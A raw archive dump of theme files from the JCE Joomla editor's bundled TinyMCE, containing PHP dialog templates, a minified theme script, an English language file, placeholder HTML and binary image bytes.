bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/none/skins/default/ui.css000060400000000064150750527150015772 0ustar00@import url(../../../advanced/skins/default/ui.css);editor/tiny_mce/themes/none/skins/default/content.css000060400000000071150750527150017025 0ustar00@import url(../../../advanced/skins/default/content.css);editor/tiny_mce/themes/none/index.html000060400000000054150750527150014064 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/index.html000060400000000054150750527150013125 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/tmpl/colorpicker.php000060400000004673150750527150016711 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div id="colorpicker">
    <div id="colorpicker_tabs">
        <ul class="nav nav-tabs">
            <li class="active"><a href="#colorpicker_picker" class="active" aria-controls="colorpicker_picker"><?php echo WFText::_('WF_COLORPICKER_PICKER'); ?></a></li>
            <li><a href="#colorpicker_web" aria-controls="colorpicker_web"><?php echo WFText::_('WF_COLORPICKER_PALETTE'); ?></a></li>
            <li><a href="#colorpicker_named" aria-controls="colorpicker_named"><?php echo WFText::_('WF_COLORPICKER_NAMED'); ?></a></li>
            <li><a href="#colorpicker_template" aria-controls="colorpicker_template"><?php echo WFText::_('WF_COLORPICKER_TEMPLATE'); ?></a></li>
        </ul>
        <div id="tab-content">
            <div id="colorpicker_picker" title="<?php echo WFText::_('WF_COLORPICKER_PICKER'); ?>" data-type="picker" class="tab-pane active"><!-- Will be filled with color wheel --></div>
            <div id="colorpicker_web" title="<?php echo WFText::_('WF_COLORPICKER_PALETTE'); ?>" data-type="web" class="tab-pane"><!-- Gets filled with web safe colors--></div>
            <div id="colorpicker_named" title="<?php echo WFText::_('WF_COLORPICKER_NAMED'); ?>" data-type="named" class="tab-pane"><!-- Gets filled with named colors--></div>
            <div id="colorpicker_template" title="<?php echo WFText::_('WF_COLORPICKER_TEMPLATE'); ?>" data-type="template" class="tab-pane"><!-- Gets filled with template colors--></div>
        </div>
    </div>
    <div id="colorpicker_preview">
        <div id="colorpicker_preview_text">
            <input type="text" id="colorpicker_color" size="8" maxlength="8" value="#000000" aria-required="true" />
        </div>
        <div id="colorpicker_preview_color" style="background-color: rgb(0, 0, 0);"></div>
    </div>
</div>
<input type="hidden" id="tmp_color" />	
<div class="mceActionPanel">
    <button type="button" id="colorpicker_insert" onclick="ColorPicker.insert();"><?php echo WFText::_('WF_LABEL_APPLY'); ?></button>
</div>editor/tiny_mce/themes/advanced/tmpl/shortcuts.php000060400000003450150750527150016423 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<h1><?php echo WFText::_('WF_ACCESSABILITY_USAGE_TITLE'); ?></h1>
<h2>Toolbars</h2>
<p>Press ALT-F10 to move focus to the toolbars. Navigate through the buttons using the arrow keys.
    Press enter to activate a button and return focus to the editor.
    Press escape to return focus to the editor without performing any actions.</p>

<h2>Status Bar</h2>
<p>To access the editor status bar, press ALT-F11. Use the left and right arrow keys to navigate between elements in the path.
    Press enter or space to select an element. Press escape to return focus to the editor without changing the selection.</p>

<h2>Context Menu</h2>
<p>Press shift-F10 to activate the context menu. Use the up and down arrow keys to move between menu items. To open sub-menus press the right arrow key.
    To close submenus press the left arrow key.  Press escape to close the context menu.</p>

<h1>Keyboard Shortcuts</h1>
<table>
    <thead>
        <tr>
            <th>Keystroke</th>
            <th>Function</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td>Control-B</td><td>Bold</td>
        </tr>
        <tr>
            <td>Control-I</td><td>Italic</td>
        </tr>
        <tr>
            <td>Control-Z</td><td>Undo</td>
        </tr>
        <tr>
            <td>Control-Y</td><td>Redo</td>
        </tr>
    </tbody>
</table>
editor/tiny_mce/themes/advanced/tmpl/index.html000060400000000054150750527150015646 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/tmpl/charmap.php000060400000001645150750527150016004 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');
?>
<div id="charmap" role="presentation">
	<h3><?php echo WFText::_('WF_ADVANCED_CHARMAP_TITLE'); ?></h3>
	<div id="charmapView"><!-- Chars will be rendered here --></div>
	<div id="charmapDescription">
		<div id="codeV"></div>
		<div id="codeN"></div>
		<div class="box">
			<div class="title">HTML-Code</div>
			<div id="codeA"></div>
		</div>
		<div class="box">
			<div class="title">NUM-Code</div>
			<div id="codeB"></div>
		</div>
	</div>
</div>editor/tiny_mce/themes/advanced/editor_template.js000060400000037710150750527150016425 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(tinymce){var lastExtID,DOM=tinymce.DOM,Event=tinymce.dom.Event,extend=tinymce.extend,each=tinymce.each,Cookie=tinymce.util.Cookie,explode=tinymce.explode;tinymce.ThemeManager.requireLangPack("advanced"),tinymce.create("tinymce.themes.AdvancedTheme",{controls:{bold:["bold_desc","Bold"],italic:["italic_desc","Italic"],underline:["underline_desc","Underline"],strikethrough:["striketrough_desc","Strikethrough"],justifyleft:["justifyleft_desc","JustifyLeft"],justifycenter:["justifycenter_desc","JustifyCenter"],justifyright:["justifyright_desc","JustifyRight"],justifyfull:["justifyfull_desc","JustifyFull"],outdent:["outdent_desc","Outdent"],indent:["indent_desc","Indent"],undo:["undo_desc","Undo"],redo:["redo_desc","Redo"],unlink:["unlink_desc","unlink"],cleanup:["cleanup_desc","mceCleanup"],help:["help_desc","mceHelp"],code:["code_desc","mceCodeEditor"],removeformat:["removeformat_desc","RemoveFormat"],sub:["sub_desc","subscript"],sup:["sup_desc","superscript"],forecolor:["forecolor_desc","ForeColor"],forecolorpicker:["forecolor_desc","mceForeColor"],backcolor:["backcolor_desc","HiliteColor"],backcolorpicker:["backcolor_desc","mceBackColor"],visualaid:["visualaid_desc","mceToggleVisualAid"],newdocument:["newdocument_desc","mceNewDocument"],blockquote:["blockquote_desc","mceBlockQuote"]},stateControls:["bold","italic","underline","strikethrough","justifyleft","justifycenter","justifyright","justifyfull","sub","sup","blockquote"],init:function(ed,url){var s,v,t=this;t.editor=ed,t.url=url,t.onResolveName=new tinymce.util.Dispatcher(this),t.onResize=new tinymce.util.Dispatcher(this),s=ed.settings,ed.forcedHighContrastMode=ed.settings.detect_highcontrast&&t._isHighContrast(),ed.settings.skin=ed.forcedHighContrastMode?"highcontrast":ed.settings.skin,s.theme_advanced_buttons1||(s=extend({theme_advanced_buttons1:"bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect",theme_advanced_buttons2:"bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code",theme_advanced_buttons3:"hr,removeformat,visualaid,|,sub,sup,|,charmap"},s)),t.settings=s=extend({theme_advanced_path:!0,theme_advanced_toolbar_location:"top",theme_advanced_blockformats:"p,address,pre,h1,h2,h3,h4,h5,h6",theme_advanced_toolbar_align:"left",theme_advanced_statusbar_location:"bottom",theme_advanced_fonts:"Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",theme_advanced_more_colors:1,theme_advanced_row_height:23,theme_advanced_resize_horizontal:1,theme_advanced_resizing_use_cookie:1,theme_advanced_font_sizes:"1,2,3,4,5,6,7",theme_advanced_font_selector:"span",theme_advanced_show_current_color:0,readonly:ed.settings.readonly},s),(v=s.theme_advanced_path_location)&&"none"!=v&&(s.theme_advanced_statusbar_location=s.theme_advanced_path_location),"none"==s.theme_advanced_statusbar_location&&(s.theme_advanced_statusbar_location=0),ed.settings.compress.css||ed.settings.content_css===!1||ed.contentCSS.push(ed.baseURI.toAbsolute(url+"/skins/"+ed.settings.skin+"/content.css")),ed.onInit.add(function(){ed.settings.readonly||(ed.onNodeChange.add(t._nodeChanged,t),ed.onKeyUp.add(t._updateUndoStatus,t),ed.onMouseUp.add(t._updateUndoStatus,t),ed.dom.bind(ed.dom.getRoot(),"dragend",function(){t._updateUndoStatus(ed)}))}),ed.onPostRender.add(function(){DOM.setStyle(ed.id+"_tbl","width","");var e=DOM.get(ed.id+"_parent"),ifr=DOM.get(ed.id+"_ifr");s.height&&DOM.setStyle(ifr,"height",s.height),s.width&&(DOM.setStyle(e.parentNode,"max-width",s.width+"px"),DOM.setStyle(ifr,"max-width",s.width+"px"))}),ed.onSetProgressState.add(function(ed,b,ti){var co,tb,id=ed.id;b?t.progressTimer=setTimeout(function(){co=ed.getContainer(),co=co.insertBefore(DOM.create("DIV",{style:"position:relative"}),co.firstChild),tb=DOM.get(ed.id+"_tbl"),DOM.add(co,"div",{id:id+"_blocker",class:"mceBlocker",style:{width:tb.clientWidth+2,height:tb.clientHeight+2}}),DOM.add(co,"div",{id:id+"_progress",class:"mceProgress",style:{left:tb.clientWidth/2,top:tb.clientHeight/2}})},ti||0):(DOM.remove(id+"_blocker"),DOM.remove(id+"_progress"),clearTimeout(t.progressTimer))}),ed.settings.compress.css||(DOM.loadCSS(s.editor_css?ed.documentBaseURI.toAbsolute(s.editor_css):url+"/skins/"+ed.settings.skin+"/ui.css"),s.skin_variant&&DOM.loadCSS(url+"/skins/"+ed.settings.skin+"/ui_"+s.skin_variant+".css"))},_isHighContrast:function(){var actualColor,div=DOM.add(DOM.getRoot(),"div",{style:"background-color: rgb(171,239,86);"});return actualColor=(DOM.getStyle(div,"background-color",!0)+"").toLowerCase().replace(/ /g,""),DOM.remove(div),"rgb(171,239,86)"!=actualColor&&"#abef56"!=actualColor},createControl:function(n,cf){var cd,c;return(c=cf.createControl(n))?c:(cd=this.controls[n])?cf.createButton(n,{title:"advanced."+cd[0],cmd:cd[1],ui:cd[2],value:cd[3]}):void 0},execCommand:function(cmd,ui,val){var f=this["_"+cmd];return!!f&&(f.call(this,ui,val),!0)},renderUI:function(o){var n,ic,sc,p,t=this,ed=t.editor,s=t.settings;ed.settings&&(ed.settings.aria_label=s.aria_label+ed.getLang("advanced.help_shortcut"));var skin="defaultSkin";return"default"!==ed.settings.skin&&(skin+=" "+ed.settings.skin+"Skin",s.skin_variant&&(skin+=" "+ed.settings.skin+"Skin"+t._ufirst(s.skin_variant))),n=p=DOM.create("div",{role:"application","aria-labelledby":ed.id+"_voice",id:ed.id+"_parent",class:"mceEditor "+skin+("rtl"==ed.settings.directionality?" mceRtl":"")}),DOM.add(n,"span",{class:"mceVoiceLabel",style:"display:none;",id:ed.id+"_voice"},s.aria_label),n=sc=DOM.add(n,"div",{role:"presentation",id:ed.id+"_tbl",class:"mceLayout"}),ic=t._createLayout(s,n,o,p),n=o.targetNode,DOM.addClass(sc.firstChild,"mceFirst"),DOM.addClass(sc.lastChild,"mceLast"),DOM.insertAfter(p,n),Event.add(ed.id+"_path_row","click",function(e){if(e=DOM.getParent(e.target,"a"),e&&"A"==e.nodeName)return t._sel(e.className.replace(/^.*mcePath_([0-9]+).*$/,"$1")),!1}),ed.getParam("accessibility_focus")||Event.add(DOM.add(p,"a",{href:"#"},"<!-- IE -->"),"focus",function(){tinyMCE.get(ed.id).focus()}),"external"==s.theme_advanced_toolbar_location&&(o.deltaHeight=0),t.deltaHeight=o.deltaHeight,o.targetNode=null,ed.onKeyDown.add(function(ed,evt){var DOM_VK_F10=121,DOM_VK_F11=122;if(evt.altKey){if(evt.keyCode===DOM_VK_F10)return tinymce.isWebKit&&window.focus(),t.toolbarGroup.focus(),Event.cancel(evt);if(evt.keyCode===DOM_VK_F11)return DOM.get(ed.id+"_path_row").focus(),Event.cancel(evt)}}),{iframeContainer:ic,editorContainer:ed.id+"_parent",sizeContainer:sc,deltaHeight:o.deltaHeight}},getInfo:function(){return{longname:"Advanced theme",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",version:tinymce.majorVersion+"."+tinymce.minorVersion}},resizeBy:function(dw,dh){var e=DOM.get(this.editor.id+"_ifr");this.resizeTo(e.clientWidth+dw,e.clientHeight+dh)},resizeTo:function(w,h,store){var ed=this.editor,s=this.settings,e=DOM.get(ed.id+"_parent"),ifr=DOM.get(ed.id+"_ifr");w=Math.max(s.theme_advanced_resizing_min_width||100,w),h=Math.max(s.theme_advanced_resizing_min_height||100,h),w=Math.min(s.theme_advanced_resizing_max_width||65535,w),h=Math.min(s.theme_advanced_resizing_max_height||65535,h),DOM.setStyle(ifr,"height",h),s.theme_advanced_resize_horizontal&&(DOM.setStyle(e.parentNode,"max-width",w+"px"),DOM.setStyle(ifr,"max-width",w+"px")),store&&s.theme_advanced_resizing_use_cookie&&Cookie.setHash("TinyMCE_"+ed.id+"_size",{cw:w,ch:h}),this.onResize.dispatch()},destroy:function(){var id=this.editor.id;Event.clear(id+"_resize"),Event.clear(id+"_path_row"),Event.clear(id+"_external_close")},_createLayout:function(s,tb,o,p){var n,ic,c,t=this,ed=t.editor,lo=s.theme_advanced_toolbar_location,sl=s.theme_advanced_statusbar_location;return s.readonly?ic=DOM.add(tb,"div",{class:"mceIframeContainer"}):("top"==lo&&t._addToolbars(tb,o),"external"==lo&&(n=c=DOM.create("div",{style:"position:relative"}),n=DOM.add(n,"div",{id:ed.id+"_external",class:"mceExternalToolbar"}),DOM.add(n,"a",{id:ed.id+"_external_close",class:"mceExternalClose"}),n=DOM.add(n,"div",{id:ed.id+"_tblext",cellSpacing:0,cellPadding:0}),p.insertBefore(c,p.firstChild),t._addToolbars(n,o),ed.onMouseUp.add(function(){var e=DOM.get(ed.id+"_external");DOM.show(e),DOM.hide(lastExtID);var f=Event.add(ed.id+"_external_close","click",function(){return DOM.hide(ed.id+"_external"),Event.remove(ed.id+"_external_close","click",f),!1});DOM.show(e),DOM.setStyle(e,"top",0-DOM.getRect(ed.id+"_tblext").h-1),DOM.hide(e),DOM.show(e),e.style.filter="",lastExtID=ed.id+"_external",e=null})),"top"==sl&&t._addStatusBar(tb,o),n=ic=DOM.add(tb,"div",{class:"mceIframeContainer"}),"bottom"==lo&&t._addToolbars(tb,o),"bottom"==sl&&t._addStatusBar(tb,o),ic)},_addControls:function(v,tb){var di,t=this,s=t.settings,cf=(t.editor,t.editor.controlManager);s.theme_advanced_disable&&!t._disabled?(di={},each(explode(s.theme_advanced_disable),function(v){di[v]=1}),t._disabled=di):di=t._disabled,each(explode(v),function(n){var c;di&&di[n]||(c=t.createControl(n,cf),c&&tb.add(c))})},_addToolbars:function(c,o){var i,tb,v,n,a,toolbarGroup,t=this,ed=t.editor,s=t.settings,cf=ed.controlManager,h=[],toolbarsExist=!1;for(toolbarGroup=cf.createToolbarGroup("toolbargroup",{name:ed.getLang("advanced.toolbar"),tab_focus_toolbar:ed.getParam("theme_advanced_tab_focus_toolbar")}),t.toolbarGroup=toolbarGroup,a=s.theme_advanced_toolbar_align.toLowerCase(),a="mce"+t._ufirst(a),n=DOM.add(c,"div",{class:"mceToolbar "+a,role:"toolbar"}),i=1;v=s["theme_advanced_buttons"+i];i++)toolbarsExist=!0,tb=cf.createToolbar("toolbar"+i,{class:"mceToolbarRow"+i}),s["theme_advanced_buttons"+i+"_add"]&&(v+=","+s["theme_advanced_buttons"+i+"_add"]),s["theme_advanced_buttons"+i+"_add_before"]&&(v=s["theme_advanced_buttons"+i+"_add_before"]+","+v),t._addControls(v,tb),toolbarGroup.add(tb),o.deltaHeight-=s.theme_advanced_row_height;toolbarsExist||(o.deltaHeight-=s.theme_advanced_row_height),h.push(toolbarGroup.renderHTML()),h.push(DOM.createHTML("a",{href:"#",accesskey:"z",title:ed.getLang("advanced.toolbar_focus"),onfocus:"tinyMCE.getInstanceById('"+ed.id+"').focus();"},"<!-- IE -->")),DOM.setHTML(n,h.join(""))},_addStatusBar:function(tb,o){var n,td,t=this,ed=t.editor,s=t.settings;n=td=DOM.add(tb,"div",{class:"mceStatusbar"}),n=DOM.add(n,"div",{id:ed.id+"_path_row",role:"group","aria-labelledby":ed.id+"_path_voice",class:"mcePathRow"}),s.theme_advanced_path?DOM.add(n,"span",{id:ed.id+"_path_voice",class:"mcePathLabel"},ed.translate("advanced.path")+": "):DOM.add(n,"span",{},"&#160;"),s.theme_advanced_resizing&&(DOM.add(td,"a",{id:ed.id+"_resize",onclick:"return false;",class:"mceResize",tabIndex:"-1"}),s.theme_advanced_resizing_use_cookie&&ed.onPostRender.add(function(){var o=Cookie.getHash("TinyMCE_"+ed.id+"_size");DOM.get(ed.id+"_tbl");o&&t.resizeTo(o.cw,o.ch,!1)}),ed.onPostRender.add(function(){Event.add(ed.id+"_resize","click",function(e){e.preventDefault()}),Event.add(ed.id+"_resize","mousedown",function(e){function resizeOnMove(e){e.preventDefault(),width=startWidth+(e.screenX-startX),height=startHeight+(e.screenY-startY),t.resizeTo(width,height)}function endResize(e){Event.remove(DOM.doc,"mousemove",mouseMoveHandler1),Event.remove(ed.getDoc(),"mousemove",mouseMoveHandler2),Event.remove(DOM.doc,"mouseup",mouseUpHandler1),Event.remove(ed.getDoc(),"mouseup",mouseUpHandler2),width=startWidth+(e.screenX-startX),height=startHeight+(e.screenY-startY),t.resizeTo(width,height,!0),ed.nodeChanged()}var mouseMoveHandler1,mouseMoveHandler2,mouseUpHandler1,mouseUpHandler2,startX,startY,startWidth,startHeight,width,height,ifrElm;e.preventDefault(),startX=e.screenX,startY=e.screenY,ifrElm=DOM.get(t.editor.id+"_ifr"),startWidth=width=ifrElm.clientWidth,startHeight=height=ifrElm.clientHeight,mouseMoveHandler1=Event.add(DOM.doc,"mousemove",resizeOnMove),mouseMoveHandler2=Event.add(ed.getDoc(),"mousemove",resizeOnMove),mouseUpHandler1=Event.add(DOM.doc,"mouseup",endResize),mouseUpHandler2=Event.add(ed.getDoc(),"mouseup",endResize)})})),o.deltaHeight-=21,n=tb=null},_updateUndoStatus:function(ed){var cm=ed.controlManager,um=ed.undoManager;cm.setDisabled("undo",!um.hasUndo()&&!um.typing),cm.setDisabled("redo",!um.hasRedo())},_nodeChanged:function(ed,cm,n,co,ob){function getParent(name){var i,parents=ob.parents,func=name;for("string"==typeof name&&(func=function(node){return node.nodeName==name}),i=0;i<parents.length;i++)if(func(parents[i]))return parents[i]}function isLink(n){return!!n&&n.href&&(!n.name||!n.id)}var p,v,c,t=this,de=0,s=t.settings;tinymce.each(t.stateControls,function(c){cm.setActive(c,ed.queryCommandState(t.controls[c][1]))}),cm.setActive("visualaid",ed.hasVisual),t._updateUndoStatus(ed),cm.setDisabled("outdent",!ed.queryCommandState("Outdent"));var link=getParent("A");getParent("IMG");if((c=cm.get("unlink"))&&(c.setDisabled(!isLink(link)),c.setActive(isLink(link))),s.theme_advanced_path&&s.theme_advanced_statusbar_location){p=DOM.get(ed.id+"_path")||DOM.add(ed.id+"_path_row","span",{id:ed.id+"_path",class:"mcePathPath"}),t.statusKeyboardNavigation&&(t.statusKeyboardNavigation.destroy(),t.statusKeyboardNavigation=null),DOM.setHTML(p,""),getParent(function(n){var pi,na=n.nodeName.toLowerCase(),ti="";if(!(1!=n.nodeType||"br"===na||n.getAttribute("data-mce-bogus")||DOM.hasClass(n,"mce-item-hidden")||DOM.hasClass(n,"mce-item-removed")||DOM.hasClass(n,"mce-item-shim"))){switch(tinymce.isIE&&n.scopeName&&"HTML"!==n.scopeName&&(na=n.scopeName+":"+na),na=na.replace(/mce\:/g,"")){case"b":na="strong";break;case"img":(v=DOM.getAttrib(n,"src"))&&(ti+="src: "+v+" ");break;case"a":(v=DOM.getAttrib(n,"href"))&&(ti+="href: "+v+" ");break;case"font":(v=DOM.getAttrib(n,"face"))&&(ti+="font: "+v+" "),(v=DOM.getAttrib(n,"size"))&&(ti+="size: "+v+" "),(v=DOM.getAttrib(n,"color"))&&(ti+="color: "+v+" ");break;case"span":(v=DOM.getAttrib(n,"style"))&&(ti+="style: "+v+" ")}(v=DOM.getAttrib(n,"id"))&&(ti+="id: "+v+" "),(v=DOM.getAttrib(n,"class"))&&(v=v.replace(/mce-item-[\w]+/g,""),v=tinymce.trim(v),v&&(ti+="class: "+v+" ",(ed.dom.isBlock(n)||"img"==na||"span"==na)&&(na+="."+v))),na=na.replace(/(html:)/g,""),na={name:na,node:n,title:ti},t.onResolveName.dispatch(t,na),ti=na.title,na=na.name,pi=DOM.create("a",{href:"javascript:;",role:"button",onmousedown:"return false;",title:ti,class:"mcePath_"+de++},'<span class="mceText">'+na+"</span>"),p.hasChildNodes()?(p.insertBefore(DOM.create("span",{"aria-hidden":"true"}," » "),p.firstChild),p.insertBefore(pi,p.firstChild)):p.appendChild(pi)}},ed.getBody()),DOM.select("a",p).length>0&&(t.statusKeyboardNavigation=new tinymce.ui.KeyboardNavigation({root:ed.id+"_path_row",items:DOM.select("a",p),excludeFromTabOrder:!0,onCancel:function(){ed.focus()}},DOM));var row=DOM.get(ed.id+"_path_row"),status=row.parentNode,mod=20;tinymce.each(status.childNodes,function(n){return!!DOM.hasClass(n,"mcePathRow")||void(mod+=n.offsetWidth)}),tinymce.each(DOM.select("a",p),function(n){DOM.removeClass(n,"mcePathHidden"),p.offsetWidth+mod+DOM.getPrev(p,".mcePathLabel").offsetWidth>status.offsetWidth&&DOM.addClass(n,"mcePathHidden")})}},_sel:function(v){this.editor.execCommand("mceSelectNodeDepth",!1,v)},_mceHelp:function(){var ed=this.editor;ed.windowManager.open({url:ed.getParam("site_url")+"index.php?option=com_jce&view=help&tmpl=component&lang="+ed.getParam("language")+"&section=editor&category=editor&article=about",inline:!0,width:780,height:560},{theme_url:this.url})},_mceNewDocument:function(){var ed=this.editor;ed.windowManager.confirm("advanced.newdocument",function(s){s&&ed.execCommand("mceSetContent",!1,"")})},_ufirst:function(s){return s.substring(0,1).toUpperCase()+s.substring(1)}}),tinymce.ThemeManager.add("advanced",tinymce.themes.AdvancedTheme)}(tinymce);editor/tiny_mce/themes/advanced/index.html000060400000000054150750527150014672 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/langs/en.js000060400000004211150750527150014740 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
tinyMCE.addI18n("en.advanced",{style_select:"Styles",font_size:"Font size",fontdefault:"Font family",block:"Format",paragraph:"Paragraph",div:"Div",address:"Address",pre:"Preformatted",h1:"Heading 1",h2:"Heading 2",h3:"Heading 3",h4:"Heading 4",h5:"Heading 5",h6:"Heading 6",blockquote:"Blockquote",code:"Code",samp:"Code Sample",dt:"Definition Term ",dd:"Definition Description",span:"Span",section:"Section",article:"Article",hgroup:"HGroup",aside:"Aside",figure:"Figure",bold_desc:"Bold (Ctrl+B)",italic_desc:"Italic (Ctrl+I)",underline_desc:"Underline (Ctrl+U)",striketrough_desc:"Strikethrough",justifyleft_desc:"Align left",justifycenter_desc:"Align center",justifyright_desc:"Align right",justifyfull_desc:"Align full",bullist_desc:"Unordered list",numlist_desc:"Ordered list",outdent_desc:"Outdent",indent_desc:"Indent",undo_desc:"Undo (Ctrl+Z)",redo_desc:"Redo (Ctrl+Y)",link_desc:"Insert/edit link",unlink_desc:"Unlink",image_desc:"Insert/edit image",cleanup_desc:"Cleanup HTML",code_desc:"Edit HTML Source",sub_desc:"Subscript",sup_desc:"Superscript",hr_desc:"Insert horizontal ruler",removeformat_desc:"Remove formatting",custom1_desc:"Your custom description here",forecolor_desc:"Select text color",backcolor_desc:"Select background color",charmap_desc:"Insert custom character",visualaid_desc:"Toggle guidelines/invisible elements",cut_desc:"Cut",copy_desc:"Copy",paste_desc:"Paste",image_props_desc:"Image properties",newdocument_desc:"New document",help_desc:"Help",blockquote_desc:"Blockquote",clipboard_msg:"Copy/Cut/Paste is not available in Mozilla and Firefox.\r\nDo you want more information about this issue?",path:"Path",newdocument:"Are you sure you want clear all contents?",toolbar_focus:"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",more_colors:"More colors",shortcuts_desc:"Accessibility Help",help_shortcut:". Press ALT F10 for toolbar. Press ALT 0 for help.",rich_text_area:"Rich Text Area",toolbar:"Toolbar"});editor/tiny_mce/themes/advanced/langs/index.html000060400000000054150750527150015776 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/themes/advanced/img/spacer.gif000060400000000117150750527150015415 0ustar00GIF89a����������_o����!�,H�+�>�2�Y���M��$;editor/tiny_mce/themes/advanced/img/icons.png000060400000034615150750527150015304 0ustar00�PNG


IHDR�<��@9TIDATx��}�U�Ə,R�j�i��`WB44�ڍP
�RQSԬm#UDc@,$E���jů~�AhKm$�j��M)AԺ(EW��j�E��V*����*A�=�w��v��{������y�'�=��9sf�gޙs� A�Y:;��� A�	$H� u+��vG|�E3���z`� A��$H� A�	ė@��n��Q� A�<}��hxKK�eᨎ�›n:�����i8y�Gִn�YGB�8c�7N�+
�	R��9*:� �]#.��,�>?��4���_���~���#'i��ؐ`A$H�AH�Q�֯��֝;wƸ��*��͛Q���$('�?�0޵gOo���~X�dG\V�9w�ܙ�ۮ��<u�xO>��/E9�|���pŬY��;�z+6Ai��2l���8mU��Đ!C~��>��/����h3���!�+�7�}�$�O���[r����1�7��f|2��{��:�����Ѧ�FP �"�9�z� �kh�����.s�
��d��S9�
����>�q�}o/9�gom����q��
S���p�!O{�Aohh���g�K8O9�q\R(���J˿���B_��?{��G�"U�)Pw�:'M��
�7ҕ�79_���+i�҇��}��}��y-��{}���<"�>�Ee@�(H]���]��;��k��c�M�ƌ��[?q����� �o/�=�{��� 9gn��.Ĝ�ӝ�a�w��Ꝝ��f��B��p����xU�M�U��#H��ͽ��W�eU������o��Y1+�'A�e{�,�r6�����'�v��JW�G��;����]m�j/����˖-{%�p��Ѿ}�@L?esև�!%��^��'*�x��&L�_�^s�
k�N�ul�?��k�]��#G��KqKS��G�ȓ��s�/��L���Z���@iX�D�}���P֮/�xWC�����4���>��/���z�!�ő���"�qKqg��t�-r��)�}��3e�}` ����m�^�3�Aj��=G�Oo���j�R�Е�G�j�{�u饗~g��T6l�q)��h����b�lo����U��?��B�]�O\q��."�"�����!�:|<�Sm4�æ�;%�{��?�AnR['��������A� �e��c�=�Ɠ'O�[Z�	�GZf}�	�g�2�3��[r!@!Rݹ�_��q���%)l�����Μ�u]�|�w+d�H:i"锡�/������-"������� �A���"�������KB)��X�X)rn�/���B���:5�W\��|��>�{������4�U�����V�����c���Gz���w=X��R��I�R�XLS\����6�À'�"o&�*J�})�?�z��<@}���k"铏�����,R�R����
�v���z|��]��D�(AW���@��K�����t�Mv{M�:qܣ�$�"�ډ��%�(Dn����Éa�ͪ�	i��3��
�H#,dtH<JL�R.��e!��N���3��6��3�"�x¾ɹ���������C�	��[v�Ȣ�o�v��˶���빚$<	"�/�ko�ɫ�^��c��H�򋬫6�A�z@V}�S}�w��Cɮ��/-���|�t�st�WDL�i��3w%��ȹM�7�N{!)�_���_<X��z��}�[_^�?�� ����%%ɂ�n�V]�wYz������`t¸}�UVpH7�����C�!2ΐ€t'������m}�
H���7>���h��6q�U�o�Ӯ�p�`D52���~��\;m�-���y���'�ν��%A�]`a�����`��a����j��r)�Us�Pج�4�U_�BN>[)/l]��
���B�:�2eʕ�ͫ�10���p	�&皐�d=?eڋ
c���r�����t�ژ8�GY_]��_�@`"��b�"�,:P�
X�V�^�-�m+�1�'�p�U )�2��08�b��>�LqAr.$�smq�Cܲ�$�=�7��/ʓ�_<X��z�󑽣�	� �A+A/�c4��'�G�%�|���;뎠�'����� �"�"��XD\Vs�
�M��Nv�&����ʂ~���@Fu��j�Uk�w��4r�)�g�����:��G�:��V �m�l��MɗF�e-O
�:��?X�#-7AG!�B�0�_���!�(;��ԣ<�^��,��Q߄�__�3�M�%(��=����-�cȸ�8m%,�X衬��ʧ^?p-p<�<�A*�
�p·6=E�H�2$���C��揭��K�񼯌)&�#�<�ՙ��AI�Mf�+�Z��������NFi�%�k,t�X�r(}ɹ?�]�t�me���t���|�4u?��n}�=�n	}�F
